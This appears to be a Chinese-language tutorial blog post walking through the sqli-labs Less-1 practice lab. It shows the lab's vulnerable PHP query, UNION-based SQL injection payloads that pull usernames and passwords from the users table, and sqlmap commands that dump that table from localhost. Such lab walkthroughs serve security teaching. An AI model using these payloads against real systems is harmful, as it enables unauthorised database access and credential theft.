本文已参与「新人创作礼」活动,一起开启掘金创作之路。
一、工具准备
hackbar
地址:chrome.google.com/webstore/de…
sqlmap
地址:sqlmap.org/
中文文档:sqlmap.kvko.live/
英⽂⽂档地址:github.com/sqlmapproje…
中文CTFshow版使用文档(译者:CTFshow 大菜鸡):TODO
二、闯关go
2.1 Less-1 字符型注入,基于错误的GET单引号
第一步:判断是否存在注入点
-
输入?id=1
显示出登录账号与密码;
-
输入单引号 ‘
报错
-
输入’ and ‘1’='1
不报错,确定存在注入点
后台关键源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
源码理解:
得到参数id后,直接带入语句执行sql语句。
原理理解:
数据库中,''不闭合会报错:
而我们判断注入点的语句在后台运行是:
第二步:判断当前注入表中的列数
-
输入 ’ order by 3 --+
正常显示
-
输入 ’ order by 4 --+
报错
判断出当前表中有三列
原理理解
通过order by的语句的查询当前表中的列数,超出列数量会报错的逻辑来判断当前注入点所在表的列数。
在数据库中的行为:
第三步:判断显示位
显示位:存在注入点的当前页面中能够查询出数据的位置,所有构造的SQL语句皆可在显示位处爆数据。
-
将id=-1,输入 ‘ union select 1,2,3 --+
显示位为 2 3
原理理解
union为联合查询,用于连接两个以上的select语句到一个结果集中,输入表中超出的列数会报错,联合查询程序在显示数据时只会显示第一行数据,只要让第一行的查询为空集(即union左边的为空)union右边的数据自然打印了出来
第四步 根据SQL语法爆数据
系统函数:
system_user()——系统用户名
user()——用户名
current_user()——当前用户名
session_user()——链接数据库的用户名
database()——数据库名
version()——数据库版本
@@datadir——数据库路径
@@basedir——数据库安装路径
@@version_conpile_os——操作系统
字符串连接函数
concat(str1,str2,...)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据。
- 爆当前数据库
-
爆所有数据库
这个地方,可以直接使用hackbar的功能,爆出所有数据库。
-
爆本数据库的所有表
使用hackbar->SQLI->mysql->tables
-
爆users表中所有字段
使用hackbar
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -
爆users表中所有数据
union select 1,2,group_concat(username,":",password) from users
第五步:使用sqlmap
-
检测注入点,列出数据库
sqlmap.py -u http://localhost/Less-1/?id=1 --batch sqlmap.py -u http://localhost/Less-1/?id=1 --batch --dbs -
列出当前数据库
sqlmap.py -u http://localhost/Less-1/?id=1 --batch --current-db -
查看当前数据库的表
sqlmap.py -u http://localhost/Less-1/?id=1 --batch -D security --tables -
查看users表字段
sqlmap.py -u http://localhost/Less-1/?id=1 --batch -D security -T users --col -
显示users表所有数据
sqlmap.py -u http://localhost/Less-1/?id=1 --batch -D security -T users -C id,username,password --dump